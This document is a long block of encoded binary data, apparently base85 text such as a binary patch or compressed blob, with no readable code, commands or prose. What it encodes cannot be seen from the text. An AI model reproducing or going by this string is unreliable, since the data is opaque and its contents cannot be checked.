z&+PYqc?#Fvf79##b@%`EmHTVv|7~UE{<6Te;0k_ae*ga^KI8X)@d^!sGssy9cDm7LDe5< zcI3ajMzR8tgw;u;{nR6dX(e8^?Y#_*{+f=20FJ_0 zF!7e53I!GGET_Vh1^UMhpuwseOB+|^UYT9a`+9#B5PK4EY>5t-a7a0%vn$d=9ba4< zw4*tU4u)1DkZvg_z#?5UnbHIsFU@lsL0ONjY7}K(vc3HZWjg50xy^rsnIdZ}V@qdD z=ef6E?l3Pj-sRjbP5N8J9d7a(`HbCOdnv6k?iXJbB-EKY2&=I$*GwxORILiWuLod|7Q{w3=eTm|JIIzgYXO8$iz?@@6jK zq^eCVd1=q-sIJ!R&s;8fi2})O{6QfXIM@(mMxmP+2opUJ5w9MWUrUy2(8$!V?jUt# z7bQgVvm?=vI>MtXIbBM%`%vZUjqu(EnrMG_t)T~w6Qa%1m_G?o;SrfQ)rv}e%mIr$ zD(3$78}_ir@~ZX=Bru+{H#w*OM3icDLTyQ1mZ%U)97FLeSIpP5jc4Ya86&D5n%Qp! z;qJI=vY33?N}cABS?oy5`QEIRgRys&8S%U%#ppPiQxK#`&F;gx}DaRELBS^yOz-8 z68{4cCx!>O(gK6pPv%Xi#R!&b23!@$ykijzAz-f=4&)eC_97A-*wG~Nh_&T3yZid` zvhJ+l9->F-6r+XN8<$Hnt?>g>(xCY*v-~WDzPvrmmrY^U$B{9j{c5B?-_Pu6nrMdhC z92>xNs=c=UU+r!iBEbJ1@7g8$$u_NFzZ6z@akAX~T&vjqqTD#r&SYieYr}#pY5aEOLF6>l-et?Pop^CZtnOHFeHs*Ia@B@7JORe59;lsAWcfu#lf) zgI>THL>pil7wkSD0fNW1IoO0r7wz8iKE_uVFiCCYOZ^Le{-EH z;(A0Pmc@lFsiGSifu)U75j8ei9w#l!lmJ82>L&7Hn>I>ug9K3#d;NG{6OmuPn1D9M zfpH|XVAD~qXYa9P$rLbC@#rBb`O9CLx5pi3V5IrthS>?bzLTQ%m^z6k` z8U;TZ<;Tx=(9ajcV9l2#T46jCB|6%O65Yi&0y@yMGOARd{fCPh77Vf3U^rX%Acx^b zD0y;>IVjDjzqoGK?Q+rUhA{>i5KuQo~`gY-${Z=S=J{aioS9iajhlZ=iEM?~p#cwcrRNjzLqEkh^a38||nvEQ# zE+t?X@Omzea%(0mRnIpVP$k}J*aV1H*)`E(&HG$p&~LR7QNIVmry)V(!Ha|%h_!h` zsaE9+?)F>e^YXkT*eR?Xq6(juPAYNR@b+#3hHmmivCk_XK%#+#DA zyfHfoKzZP|2vH6-c99Bc26Lu|dm6pOWi>0kc;iI(xd_nH0vmx9R1MjYL` z>F4VE-|ByQ>mK5NudFYxuHA2~tgdSO=asqs?=SM9{bzOuOzPhWC%O$Eh$DI4(u*4i z03Kfw=XLXQ48>LmQxX8Wcg{-Y92$X5(NP(_vEVC-Mt$PzF=~L-tH_9bYGwFo0`^WB_<2_KHE=FS`O-njL06RSsLs{j33&8KECSlXlOgJ^!qe`G!FGRp z@1i?{_$N<4p!MJEX6cdS=rtF9d8^az9=A{0Pui#Lv-VDV@a(+3J8Gw8?;m%sQ0RQW zB*%J_&U(l(j_uYJ!&u@;cC{~{K9gr{#+@>O%MyJREXfMPuM!Y`);sF~WQXNXBG z&yb{>yarjAVQb77_s=GydAd+$YLtIk(Rq0B6hy_yS0$~oDO#7xNbK7~>$G{Bi$?+r z2xYFdzt?YDBELI2J~;a6;1HCU<6A33sZk9o%c93Tc&w;vs3Uuh8X*^v>>(- zl^GxhJ-ENhuy>|mr?TpSnSYc&82+R(6L4I|&XhVruX;&_|5`wz=0G1`=lg%o@lFLA zZ}0gmjtVop*8;}4N7Ha;vLnZQ4Ooo#$#lGOtQ?_NTqndn6L3_;?vyo+*zvD>2lSE- zN-Q;CbQ%IX}I&^4SwuHV}KrSS1Eop4Q?4Ypl zPIz}9Tl?B#9;%p;=rboa6B_wU+Qa?{KWK@QM|wb5V5RH+f)@~Ei3Wd*b0>sFLDj}U zhQ`RUw-s-nDr%Xoh8S`$*qrS>{+&ALCzA5iiPLusLXDl`3zT>PS5j`7x|oHQkR<#7 zG5Jgx{L`S$2O@gAx?W*CdfjWQm-SMSOiY1rx4^$?!R^7N@kIth5)TE2M-lgw5oJ|& zLy*yNtYk1FuZ?+xr<&l#&;IaZ+&Z%N)F^oCgIm>yoBYQ#3if&20{BDJvsO= zw30xfa$;$YL{!<6XA|q{53Z_eYE3N5il)jZsXrJ=C(#mDKfSV1Nw#TcZxRynHfih& zT41Vl+5=-O;wU^YiEb;_$Yks7Fd|fB4hR}2ikGGjMuVkO2GM`h*#72Las#yEQoL2D zW*m2*ZbiOHXz8qB9eYw3;Ko%~S$uiRc$aRwtoQ(}+M`7~Lhp%aG>J-+cMLy&>IsqP zr0l%wsc8=ZeN6`$WRmfJHiYO2nTz8A0kBACsH8@8&@&} zEO%g1hKwU1mIZ%7fZk>fmQ>%We<98m@z#Y?t)fs1Ghq%`=-cC>qqjXBjgB22ol{X! z6EBRPDE?`r+*_z>ii;pla9`adxoT?1WqP9V01K;*c;&l6WT}Rxvj2UxxxcUB4D#AP zX=XspsAl3(55r}z&;Dd{5&-czM7xi-a*l`;B%KExOR|4**;|I7D}?~%J*9;0gk+LX zlOx>G06Hk`9=3r&;j(HbAsJ0Z;t!zZ+7;`AC~7)1aer#A~0q)vMNTq6>JoN__ol8K!gX!6}S}hZ>(sLb21NDNbS>5@daRP}D7H za;8B_XBvMG`Z1j{9?bn`$Af4JE&#*p0%CzaowRDL%uzn?bk zUgF1bH5*S9(0|V{<&t6JkC`Kb06bnyM7buP5^lgE?DfqNSbuP-KDVYF`hN4%6>-}_ zo-2P*k8Y_+uB~88r$AfNu{)NpH!G0E$_pb{-N_X^_79tVbs?d!5zOUa7AP_Jzao2g z``Z_7EO?vKdV1_{1ovUc7FgD)Sd>1c*=%YwXt|$PDi_I zJ7UI0P}xYX6H|d2clHl80yb)u@6?!^j+B41oJ057hQ1Sxh;D4D;~yb z0kz#oSP`Frn5}0)GPW>KAy$jE@P^!;H-TqH5-^b0GJsNUrs_VL1x&7B0h8-kz~qDe zb#_b++bGFO`&jbm0T0-Z0mGBV89)5Z`EP^2g56B6W;e&$(cI&A>t(YqBN1?;8^(Wa zhRec^8SBJdIX_8EY`8Syl-j;+b0JYPd`e^%APAblRTv@D{@GYe8X4_FSRR)r`zRA{D`xNAp{slfX9h(C?u)Odoq;6x);6zJXhb?{26~S9ZRGOr?FIH zy^5d{)9ECALeAMwW>(H*?$_yzYrILLGu5qkKja4GB)2G5nn9E?92O)QWU4IdI<9mk z?4byQc#HBJ?-)TSfA^E3R8%E+B19wRo2C<;YV5P9KhQTPir6)W4lAf31it^r_CDeX zyb?Vj)<;lxFD6CY`vZUF@Rs_Czc2FKD87j4(@{Q=86CCrsq*y6-ixmvX=MGM1@Hq- zwolOBB**v=Cl)lNfb%sjGD+n#b=ahS^lUh4q5xh?9w;ilMfyjFH>=0;qI_FHw^@lg z8{sg<9}cEJPWXpsXq4)mb*5v&!-*f&HgY_g1Do~yMb}%94Nrd(-v^TlVowa}XFZM6 zp>_tTXc5_a*^fF_ugW)js&#gY_4yX2ok~I-BPte*2P$lSHP#*Aw!b5m2Fg3? zH+jx`Xf{yn0)Iume3NoCP?${DcqBgBZwaGNG~MzVZu4=88oZrTjSgR0nD*qZ8M*`L z_y#ZCn^(u=Y${-xa*{Ny=iDzkh$Bk)}UQAs(cie(+dAs*<5K zETkiJ6~Q+SYc`{aqT$!Io6-dCa35e!(==W`ehoEfzURgkC;6c{eY7)hHk#l?7a2r{ zx~JnZNMf=+O<&UNJ6xsu`X2Q{{f1cAAXZsmX@AL@zC$#LV>;WW&G*%^(lGS{XyO6h z{W;X8xZ8hm-EDRHE#k%S)V&z<6qq^q!&IuA9uLvtSmj)78C7Ngn)s)Pa7)#T0Z8fbPNmCeUpL=rCPSCJ!4UHnA~2ka!vFni&Z8&p0SuS2nsZS31&M zt)qF>F|y$I^&HjJ4ba8FIHoGui5zn>*8Y8gX=FAp}$Nu}TDHPmpfEjvdj8omIDfxv=Q-L%+fn3d%BVnBeedj90k7RA;G zlCytH5YoDJEZ){(2RWt68bn)W3@Y=Nt|kxz!xWE{wwg~X+7P+(Z}3$MqA>|Wf=r8c z2vmxtSc{i+&5{o`(c#Q0l#MnN&IGHClPQl)8S*a`&D5dLqme?>>_UBXlz-L7GK`jt z!nwSl)*HF~usR zz$|kB0XYy*cBl_l8v8Xy$T|1%LW+x5um@DA=u)9%Q{wMl$veh^x^G+t8cJ<|#6>pY ze&_P>7TNq2npENJ7vxsj#O0N>o41h_c_RhQ)vb(|b%U=2A`UGq*LZav%R+eFv+aLr zR=~9L!JdQ&wlRg?S(D?tpE)9MS{IW*lD^MO-P_r?ubzMRY#W>m^+7;ZEQQxws?4<$ zq9oi{INaOp(0~Ec|6 znVD`Q3Ys8Hrfps?q4^oxk$Y9wB_DrO@K7s`eR3ely+SF3-}NwNQ@wfUIuAz_m||eT zmG=Ogm$i|GQ<^;Gl7)?@O3ts~B_p3*q#whZgL35^gm%x0`i3ESQmwS)M z7Mj_}2iqJAdu}QIANIN4{#(SKALI3FX8Z5eduy=&Ub~Mk>nm%kfNQO{?ziUl-@n8s z^8baWQ98UZIoofNU&C4(I!6!w{93;}JnE;7;Yoj3PsKP|!~WHhFPf{%%`aBebom=I zT6Q<~hwozR@Z^F1dnQ`nla4e`D^k;oMDI!v=n4j7M z0_==lJl^?MM2@*1rWZTkB1oX{r1kt)H32tU<_`{*Sb-;Pic*Cc^5lO>lF^ZiYpEr7 zzy}L=jPjXzq&Yb3$vJmXY4L6@Z@BCYk2{kw7Ao1DUdfaaXI>(##i5Hj#~2+8}3#a2{LudgB-?hmCf?C+xd)yEZ#f5wB71C0kG z6H)j5I-1)+gbyYu#gu=LPc}bYUhRrR5}pR0Ji|tR^6b}3cw)MHcd?)GAT)gu>!P0F z$T+(=;_$Av2Kxjph<#%3?EN~ISd#JKSb6q7^W6lDypPIs!>9g;+ehUw!w+Nux9{w} z)S_d{faX2ULoQcKu{FVZ;;rlqD?_DKoI`q4!nM{yu3jEN5LSOO*@t?GjmwL5HH9#dVu7<6_`m#9@Cld)I z%AO2iS4A&6$TGz;>hj3S3I#K*>fKh26DA`YqhMQeEFXbF`us7iNadlz({w5shk3gc_uC$Ea2Z5GVdu(ykrliCwDQEHM z%B+8i-lv|q5ijtVn?&dZ^e#})PH*f)H%Bxts$5oi^MFSih}JyOaZ+T;v{Q>8ZNYU& zX=ZlZIS1%x9lSXyxGigFDT!QL^5S`Rmh83&?LK0!=LkfRi!+hfBlI{TM={Qp|lp!fCj5FS>3>m&6 zC6$LC^U-uo5^{ESyQwjU7jJLe_`uCOhmugo|LXCs5Mypcf4rlpGSf{OcQ&wHb#)>= zXo2d0F<~~PO8&-@$P{bCyF*mOnBweL=o=vj1dwGz+rWYavhjpcqMc(z*<3R@fr5YK z_h z*QQ=gZZ6Ml2ZOAT&CPmO&R1TUejobsbd^r_TZ;Zd5iCE3qy@>zTVUmaA5?W0!vkk<6V}&s;D2v6$59qLZG+HAa5Il5&J6EC0-i zWFv&lxKC?uaIF&=g9Lq&e`6L?ldMjut9Vz0SOYO-vUWb(+7S}@a`EN!r{C>7PHuDk z6vB^cn3POC&=mpMY++U6ZZ{VXfWbE-0pqqZ(VM$aZ14Vs`+UpmGq%VBb`XCA&+i!o zkQo43YJ%rHG{H7Ky};`-iyWJWCCZ`!Rq{fU!bg1x;}r;VejMP<|5a9$s+}ktlqD0* zf;nUtXXzNEF}e9SydO>}&iuH1-o0LW)H&}ZI?Bm|OLS#3 zdGHpmm~f_yZ)fQ53I4TTC!;o)n0DGb+O&Z4VO=;d(x&05P+j}&&#NE8f4g_>Z=3&B zo0|$xd#$MDz*TS7lR9#|nY{u2LAWM;qt_?jE^hutYdJ^Zyx~u$ubhA5{$MF(1*#Ph z-$9Z(G$%c~UMCB|xH|?_ldKv;?gaa>0E3u0+z-CR@)*o?^@1vPzutzlcYPHruhTyx zksqEyu|pb6xrFmp!ftm|g~rYfwP_S?#65X>>ETEu&;q0%-552!0pp(+L;Tr3!XIu+ zd~?szZN;Db*6allI3Rx{BpTUEH+W2qgsS45@A31mH%cZ&*Zs+tKHb%0?|h|_4p^y# z>shIUf`-mx-*P%-wEZwEzLiVONOndjV1pLzVuaDpMadV~iM$?=l*jL@UTTatd-Lh? zO1CixSTw5q35UkxA!l)dc9OmuPGPl(K0cNrnEf0m6n^+%TONOhn?o!O`g-^I4i2k| zA6!*Dxmwf$g^7EdLUpuHKMVuOYA!KijJC3q2drv9w-TE0IJPBWX1cs3T_ z_PZA+zV&?&0_lI9wIWDh?Nw)=i046a|DLU~qn^2HU^pr?u~NDJc~WPM)uf3S{oyJr zlwxLaj=haF7N}VZ{in6B2Kr(YCgw`$0(H==Wx~tYrOv_LcVGSH@%D?o1G-|N6C#z} z{b_>?N3P;IA2qVLOfW&S)1CaJJKnx zLxHRkbmn2nB*z=!bA#n+uZkq|ZD#~4T5>G32f^twoqV$5Xlc81znC0gawo=7@c=3d znIS?3M;d>$^^`;i+b$=d0FTXcoYA$;_&iE>EWh$FeHJIt6C4SLh_QZ_bNwoL*3^!E z^BjaTa{w$q)bXzdjX!^T*~iU$vs(S}{wvf>-?{>%f&=qUTPb%(yJzP|?d{X{-+1l* zm%i9#mRp%Ozaw=_tj%aP4DINsEO2{Iek~W27b<@dT2j@n%X7IGJlsJ<+HdxRqc8sk ziBS1Q5XP^2ha-O75hDlutI><~x1|2&a?sO%PVo!9@=tl|@-?(4khup_aMr7in-jRK+N<$uP{b0@56TVNY9`efz*s0mK?|WTHMwtpZf_?P{h>~#MviCZe zSbTp~?BGLy+X%_3&$Yi@XM&YjszQ27Ax!KaSo7RG8IyF0Ri&{@u(dE_sJP%a?K+>+ z;!x-~oX)BKr%7cexuHhZnDb|(jJbc-v}wMD1@ppGr_BGSQK_yBM>Xu@zg{nhOEm#2 zQT%%%TtQfQaiD9_B9k#t(SZi|sWM+{5Pp9>%Z@Uvy6Gj67u9O3h}OFPavV$Vko~kL z(qJeDa{&y7ayd}tUr^gO!=HL7_Kq$H-9EAaq@eGmZA^C`^-@<}R1;DvW%h+p!jrEo zXGx#tuhbgVc=~+%x4J{LSFxtU1i|QHs0h=h3cGYy$|Os9(IvYwvJDu?+*QI=9NMu2-m+N07Vvzhw9L4NI@GzwSG8bV}^$ZE`;bm#>$@6FL#ef#Y ze%$}#KKRU6`*)_5rpa^WvF*c*(|~{Zi)Y~mg~Ybo$7=SOGB*C>raNozxTl*;=5+IE z9}aIe>xADJtN2EmkNhm}Z?-cP1zYPS z!%NuJ0RSxi=tD6#o2#KJuAiPf3( ztNPVzQqOfC$?z`fVOSgJKx2RL=d3w|4y9+;$1%vt5W1`oVF=8!aRBaNh-ZA}+bxl9 z&g9y(;OaH@X6938Ud<@1`zKwUPILWA>_sZW+q(OZFt<2?H7Twk{%9<`Ki^+*)A|?Q zP+o)&&)GeUuFT{@mun~vHL9lGJC0?J+;;81{i5N<9boxC_P$Xb!%}}P+&QiRvECGc zuD^j~!a!RF@hhvPg^#SR#A|t?#Y;cua-5hS^7r!hw#cm1s!{%}z&9SAfOJQ=RaO&l zzrueI!5-9BGD;<&vds-zYNd>nQaZMjjsMsi5{lmRj)Wq9ODeuw^LnIk(=SLLdpTm| zemx52&ge%?+G8YR=|g`skzqzWnvX!(ubTCMC(Q04_PU>p<=DfDOSt$ zuwEjJD`sL;GZ-vYjM1vIABDO-t57*Pw4m+`G^<>VaS0c-Cj;~bg}Oh~6`Il@W)&Mm z1~6<8LE{Dyj!6YAAyE@j-~SQ0SIwNWcObiOhN8h zr5X*h-7VHZ?NcPw)XkP`Wxk}yg`)kcDq9(+ezm62ein>cpisaO)IcWcl}1&(KtvJS zjFu>30bde&z*kSagA04QRM*5%pr|M2&xYn-PvF^PYWd0WC(N^3M-8?>aTRA67;*TZ|Ug#!Buq4n@xXA)FP09Xq(k})i7 zTzBX-4SKA}!a%U)ty~mKnY1)|?0sfItWQE?a6Tad)UB9%N6>zO2aiP%!x6rML&o1B z65jPXNO-FW@APj!?aI6tedz$7f{PMy>x*R!YxX{X)h~bY=^qsjrhn1I=08dmuM(}! zik7{Zx@}^;t+Vv?xS{n#lN$`1lgf=O9*LFzCG2Hqwf}5LDC}Dw_qopgbN$}>t=8(= zTI=50`pW$k*ni$@tuD{)KYxkO-2QWJ|2en+oZElS?LX)CpL6@qx&7zd{&Q~sIk*3u z+kejOKj(k;pL6@qx&7zd{&Q~s`Tu19X>FKWe$FjF=a!#y%g?#x=iKshZuvR4{G3~U z&MiOZmY@F)%TLZzVDY)}ueI&GqxxraBhR^!=iJEipH`us8+m@b?)BWr^JWUnb0g20 zO#bFZo*!lHH#hQ}8+p!+Jm*H9b0g3HJ0s7zQRjc$sB>=AIXCK@8+G37GBh{poEvq{ zjXLK>opYnk|8%3y8+@*}|9mt&YTo*%K3Cd*@;gF)F0ZewuH0X5!Txh?ZSCHzWc}7J z@cBQt|D0|9`C`~P?Zap%y>-LSHS>?qulH^(-&{SI2Tnr9zL|$#_GV(F{u!J3W6}7x|h~A0_qxJ&vf5;8Rzuwe8S_ypNb( zmMoz9S4<*Nl?%wHPiYJ`eG31R4)Txu%trse-um6GkN;dn|3T~TBlP#J<@?L4_gB}} zSLG~dtuL>w&guUz@p)-F&A1Le>9!Nhv-&dlJa=W#T1{Fj?e(?x%F384gYR~qwv&I8 zi;MGiv-$Sz+lKgIXh15}{QDuEMS^v7-1$r6D!@R2Ibs;N zlT}obWi0|26lj!6FI2~1c&x@CKqPM za+dbulIw9pAnKOu&f(?j6xtlxu9M#Bxyq-eweX&z=;LDBm&v#gZAOO`H1dBKxA%DW zWnAvQHJSqn^UYowj`N#-N96nUixd_e*7m=$oIN0J#61%aXx_xDebCs|eb_ zX)PoQ?qOF}WEpVwJ4vn#lx%-}^?dh*4SD(K1a(!QqhD={L88@MmO(8y8bP(s(L__G zhs?#=i;3u#qv}@k>dNU!JK=$;GCwIr-6g}GXL{d*>hLbtAIHAt*uNY6G(bx;S$z+R z#b`7hNe02`Jh~jD5rTCeje(U(%2@Gelv<79Tq^6L)|p}ZA_Vum1$lopGHg)o$Lf^% zK-b)M%dvUSCgQz6p<&x9ClyBIB7Ax{KaB>(7AuGmRR7Q3#ZMIaW+Zfq?45Q?IHDS| z-r3`YHw=4TACItp<2Cd}Qs+x`U9>tWz)gF-v)tD6NCYEj8hTI8oluhNRZzs10y5qe z%cx>2f7lTUkNu<@R2hG`8t6q{@8zNJ5{Ej{OF+2f_-#kTs9O`4q`9JagViH+St)n+ z;*n5Xot9%nD~?F-rx>Ru%0UX(#aA<6Jsd#>Kahf}jbzV>f#Ahg?TzhNMG>|YC0YTI z6 z6>;2#&;3x*hfF^0z!)7S;J^fZuryU0ow(c=!Fp3~P)y_7;C&F*RQEYP5<{kSRe1DBq6&XDe13znGHvDQd-P=@A# zTCCHBSQ=k=#-5X-2pY7e^kK`kz8&6&r=7u1sZRT0PpyJSJss<`cisUeFr^^^GKK2F z0Q(3{7xiC#QKjsMH2z^WB+9Y-1bU@u8Oxqi4G1K^33%$z+2|aHPN8};J zQ%Cw54>RX6hL|Aq&veQ7W>`vPSAnjabwJzVqA>~JTK;`wZF!mG6Vx{@ai5)~uOZq% zVPT=!?sY*~mH3EUvqO043`3+OUk69K=4*`X)>nV~;>sWQp`~oFjK`jg6l%j=uMhVMVpW>vyG2*@FsIs3K^Hb7jroaS zAs&C4uRF9qAnM(?W^4gpKZPNa@zRNMZs7CA7cmCqas3tBvBd~>d);p^m{0qI%fFUN z`F#@qY-6nK9B+N`#XUL09(ACMo_y6ADM3(Oljm@Ln5eVBjIuuubsmy9$^n%XiP{Dt%G?7yU4^{7^7N(Ur)2E4UqYGSBxA7u} zoVGVQgTY}bt`Bg3l~%tLH3Bgq0;}^=2Rlrt+CV& zR+g|OlVJ%=CLx(2a9~b&mgHDOmW+R%Ji)->w{z>(?N{BBJnT6zwxwRHtE+3T-TCDd zf|@1J91}0=@ZYqfJIlIH&;+f74Qdy0z1W?apgXkzr*;w(K2p;NQ(!nwP?XU6?rS$B)xxrS*9@!zr>20=lO|#sKjlL5vok2O~4)G^%XEJ|KJr?9} zgmG&|Q&Xl){zv~(dhN+?n!AtwW%W$DRV$OCE52y6c+q^IMk6!poo>e(r^vevjCw|Y zV39aGEnbId^VD6k{NdLVyrPxZjAL9H|}|7C%WELj4ejgExCd!?y~Lh z6;_ja_8HV}F|~srIp+e49e%)lx&okZsUDTL>YcGaGg^muxk7bcoPwu5L@cZ}iFtz~ zFjBymMqt~5x=>-|;fBp{wS2!w{o`Pb?UzvicpB?8`np)1XV7$j0*8NP)-ZDmOhe=O z-(8>~6^&AoV=z%;BAcZ5o&_Pc<6miqXrNhbC1L=xj0at`@4GSmL=91}5l1Y1X31Oa zV;^O9!30g15VLJ8)zp;n|BdBNSWD4i9P)KHz(j-ov_h|eO>~RFv_|#*slXsFk@k0r zs4nKXibs;4<4wJD|J#39l>hZ`dgsnP{FUr5F;R5G;-YIbzWcSWea#wqf?9J|G!MZ! zc^Oh3tj!UtrTRizN^F2*s9n(ZpuALV;Am>neT7cMF8k%wTLU&bsYQ(j_s;@N8}|VL z&$D1aP8bj^j%?(?80@ummw?!zpAkhQvDiX&2FG?Ml+*P28UugruGg(!vzni2K7H}o zvEd)Sy>qvpp*0OG#!vROH^lHp74YrRNiEZ8HQ2poh%?hE0Vm(k0jk1)ZijQDwzS=u zMrZ%f$4IcbGYx^@^?&WrE zW%Ip3;xD+*&Byq5wPA#3uY$*t94&x54)f;K%jf(Wx)a{wd32j6*(I!z7p>uCH*!RajdD^^q{nOLC&69uMyc976Y@S?ss2L7`MOf3`C!t0zu%c!sj!#=V!Lwz8UgroOU)a?bzgHiXHO`I;xL^5-9 zJv)kdTVsFDJ&j%4A+e)K6ldQi&4uq)osU0F#rXV~GiYe^&RY$>4tD_$1z~K6MwBSQDRkdc-<7_cs~1)f?TN9oZQEVADqWB&Y#GDFm-swht*e%=rtsAWhX_VvAnitD zW0l-L*^f$d6?Es_Y=)8IWvHH!4?vkY`mexnfGdAxTDmLqrDLv71{&QtYJ#i02E& zmO+06#P|f{!~to`LI$eIA#A6OW8u=+7u^6|!g`)J%Qfgx*B~2j!tdXE*w7q012C{b1{~ta zy+0yD{Ce{7i`S=b+Vk_(!c!p~Z>#HsE@*##kNfQw0Z><#3B_ACSDs(5k~2&<2utS( z)jh#rfCDi3=UA{^c)U+&lTWsMb|9Lz_6BwpK%K?=76{iB2?>u4TvoHYx$>qmj6_Dj z(6nMn-PHSk!U?Zj-V̜d-QsweabH``j3MC2MbrUnQtb!O`|@@uV3>}k6)2&;dQ zdBXzB@L`!Ge7~b~kNWsc%`J|bNnYgax`T|g{EIC`DG;vk!~Rs?=bJhC74)4iy5+mI zK7Zz3L0twT3F1#bd-)tL`FpEz00=p4)lwh{bi*C%8CX_SBuF(~F$a4m^-|SZ5<940 z90KpF#bHyX(aXmatqYoWbP!O$_QHQ}h$83LTeinzYG=Q8&2w@se|D$=#{4s@fBJP; zy#IC4sj*%yh{Me#5YWKKzUSuoCo1h#!BYTjc>P z6nwHCc6g^_%0t=*mv0=j#zz?qlAMf}`9NukI$MNV%YoEwXH)3^rpwtBr1koJI8@<# zzC})!oUE#%2vk7bEM+-z=pnex{qKybx0Wo9Kuq=Y*2O}zYUd3Ls>9wN6T zSCa;Gv5X!3D!pgy3 z>;Z%x3=wQu_?Zr1UX2MfF8zuwt^m&q)09qsND|I=Hx!%gIB=3p)3dLOQ5!~Yjst{e|Bq_*fQ+qq39y`Jj| z&|unp1p0NcytIqLlqqv8s}cf}sMFq@73?Z)Y&hNo5`o1wf+F##>O3|;MQ-JEvN>ta zS1kbt9l8C$%L{;_4QMy5c|r9!`ID6-hp*BTjj?NDkuP$yb{2mTKLLq0nE_zN5QGb8)#w>t@uFd6gCue+SlSvvm_v$}n({ z6B1}8IN*9zM|^i`#kDj7=00kN3_-e9p(d`l5apy~>W+(DSnyFN#d0hSAPKEB7g6cn zJ(6tlCu@keF}SzI4Y>X(*kba4y`3nY)5|}y6Z;cm(Y<(r*9+MKrnC0czK*VD6jQ%X z7dz(oRVsg4Ti0uvyPA7|q@Bur{G2#ruF-joI-nnvVC&T>-ka`p-SwmUz)x?sU~r#3 zfAX@KaPx!Lg1*eX_NybgT>VVyU%+>A0A8Y+537Ll{=KRHoX#$<$ym&6hSMc-zsygC zOcOks+}zjmQOjCyWQy3ue%`bjwgSeab~h8^u7nM0r}ce`gfgo(?`;m z8S}7(MDIv2cuJ-8YV&T;7dwz86l#Um{TZP3lk$2l?N~6B(jb^CC_Pjt2rpTYL!=g1 zs^!@}w7|5tKxdXOHy|45+L|3*UU=YnaQo+&hfX-~7O_b~o0_zgJQBWZ+VGMJx6N@g z?8$#~*Iv3ws*jOT2ua~`J2IrxzJo-I+S;yI{i64LxfVpB3QRSHaD$nXJ$V%So9eOC844% z*M;-^kKN|eOGoXGU(gKHc2t^?F%Ra`=JW2Gb#w;D>pTqJP26a-1$)59UFeb(Ia7bS zI(3_^-IQk~gKX|O4*6uYcCa_V>0pxf(#4GU)E8qu3(J`ekCQPc7Jrn?^Fu1!F-DfZ zN5~&CI@CTR)8-S?&D#CFA?~~Um%exBo6@^!oG$xaZ$%Oh#Ss82TuPo7ekkA_*-=B~ z#QwT?7{|qLYzX2pz92xcb?Fh?Ezy6}on#YMN79CN*a^8NEi`r-OTF%Bi|^TkXf#eP zDQddN3J+Xxfh(Lka_^7}?C$V1Omvajx2-_C@2m58PyM6$t>d}8LL4xwje8uhSFP-9 zUO9Rr_XxJ-SPmsXtu{C^mmu3h0Nl*^43Y9Lj8xmP#q*W8bdm7Rl@2{y=NfpM%|Jrnu9Nk&8^#-Z$48o8HkZ!~zOelY~GYWPas6%Jn zIsOASetJ#KWPyq5bJ|Q5cHo|fKNdSLdEBoJ;6IN&?jb%Qni0Du|GIn026=|GjlYQ! zOZNP;Sh2sIP%BK(&#uJfrB?_6*whFMb-Zj-sfxoW0&(z+8tqF;)uqH$Y0i>1AMBVZ zo8A{xT4ReqNd2r6Fy?>7wn>LLC^xZ7U&dr*TG~=wNO%5DI#Qr1Re0hJ@H9J4QNRVA z1(?ObxobcqmTPUXTK#-#EX7YAaZ>Grr-V<_Afv<}zM_M_(|(g3nl~QR8QMEb7vp{< zn1MdS>5nM5dKtdFBChA=VPcIiD42Tg9~k;690W{d1n3(P!Ww_WPNr25VY9Y>R~Q=F zOVx(KI|4O&ZM1lsag-4Dihue@G!hPDNmGTc$W;?z!TWfVnXq`Coe!y;D|%*l;_iQk z?;Kw*y0h-2Wb}teHouykYRjkZ z09!z$zuuy|O-AKBqX`UZ6*js@x z@OD%ur00U#C$_G^*f99X3K;x)cJTp}<1eLiZfkLO_-PSI;uSc5^*?d=)l?G$BcbRc za5v<{+m5PFv6?m_C?zDBi}e!g)r7#6SPNau%K0hXc3!k}*vsMR-koobBwb&&f8hXO zY@P)h*XnG4V7rxf!JD7qA{;1ENk0j0mlEb5&Q4b!Oiy2^QeQ!Fk9ucyXY(9pNBiZi zf%No}mmnPeiy`>gQm?+_rSc+6KSpJOh0V;FINH+^xv=~=f#cm=op_w(iMFZLmE zv_sQV@A(pEw%N9I$Hg32c|GF;b>$6C`-yhI=Xu?Jg*G3!%nw%`!2)!-X8`^B?Beb{ zb;Ut%x|6ymU^>0top+bh+3NJ~muwO|3!CUzSKCb;9MxwbgScD~A5Rb6YPVFiY>yN}m4 z_beL_KC{JS(V^5BHxIl)vIexjc4dS=T1%LJFkUaL^|7~b7eJ~LV=)MX%)Xnu6_Osa zl5D_97Z0Eg@Hz#P`Y#!?4vUF6dwX>GHsbdi2_W6Z{9nB}UN~NIwCTN^(9~K2@Ci@_ z1kUi_FPCH@*0epZ4W`WT6B^DpFfHywWQ>`vNC;iI}AmEw0yce2;S9adahG{=|H6>7mid z{XiCTbDPodL#=IO-)S-OZ(xgpzv#p;Ib8A07EbU`%NSQ>KA|8p7I`^~l~6;6lcDo_ zw<`c4b1JS3^zPCdr@MFVOsww&I`W!-gHb z?czF(>De=wp628!MLv>&UE?r9QNPSMEsjM^VJPlErC8&sk!+4(Qw-be4|`&c1Sd_l z+@ItHop2UOR$_tsG$kpY0e=-NkBmA4KSFH5^$kUY7K4qZ&Cony`7!Z3^72_igU$oY+WEBR)J*-;Tmqh9F7QY#~}qbc+3dgzHDWF+yF} z1Lw$}5ga0+6%Pc~vnC$YLC)d4N2HRPt8zBPb4sew$z}Lt-Yzcj0%MXrqpq(=&Qp2_ z3h19?W&DX9nJtp>5Pqs03y13LhHAyt^iLMg?>xMtDK7lflbzT6OYjpAoT#2%BhYlS zwq5CQ({rd;cViPI?UgxyGd2-n9!Toe2Q=3};m#*(v`iqrZv2Uo7AJrQZ)94VM7rWAy|Fl-gFuX<4m#^4>AI1aKOueTR1{=L{dp4eIggYP zr}#khAY5E3Xt~)3_a2RCKsmwfmEk->rtoc?CkM^+mk`6b!5N>4o7jU`2 zSUEm%FG9F~m@?ud$3_I8FhFEwg3|%O%{?J$`=ZRx@MmWZA_B%3;lXbvPp)lqU|e`u zlQ&Q!S$53wcWF0>E5J)#|vWHTxFo@sfbr+Keptv zc$%s|aPuQTY`K;Ol0JEMQO2bBYmc!t7NhiFOu*pE3)#6*N8~kF!%x924XNp)~vDUC1LKg5|)S&$7i`NLN{qwl_d<8iiKWW$d==I0=^d4~)&%>k+?$W&aGn;WS z+Gb_KfqB$_0qU>NE&&ZEIZO_m=$p5nL#b?E0$M+N_2ToFy?l}vi?xbu-OhYX 